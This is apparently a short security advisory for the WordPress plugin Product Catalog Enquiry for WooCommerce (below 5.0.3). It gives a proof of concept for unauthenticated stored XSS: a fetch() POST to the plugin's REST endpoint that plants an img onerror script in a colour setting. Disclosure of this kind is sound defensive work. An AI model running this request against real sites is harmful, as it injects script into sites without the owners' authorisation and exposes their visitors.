Product Catalog Enquiry for WooCommerce < 5.0.3 - Unauthenticated Stored XSS via Arbitrary Setting Update

Proof of Concept

1) Make sure the plugin is configured with the "Catalog Mode" activated.
2) Launch the following from your browser's console:

```
fetch("http://vulnerable-site.tld/wp-json/mvx_catalog/v1/save_enquiry", {"headers": {"content-type": "application/json",},  "body": " {\"model\":{\"from_loading\":true,\"statedrop\":[],\"errordisplay\":\"Settings Saved\",\"complete_option_value\":[],\"button_type\":{\"value\":\"4\",\"label\":\"No Link Just #\",\"index\":3},\"is_button\":[\"is_button\"],\"custom_hover_background_color\":\"#0}</style><img src=x onerror=alert(7)>\",\"woocommerce_catalog_enquiry_button2_settings\":\"\",\"custom_css_product_page\":\"BBBBBBB00\"},\"modulename\":\"button-appearance\"}","method": "POST","mode": "cors","credentials": "include"});
```

3) Visit a product page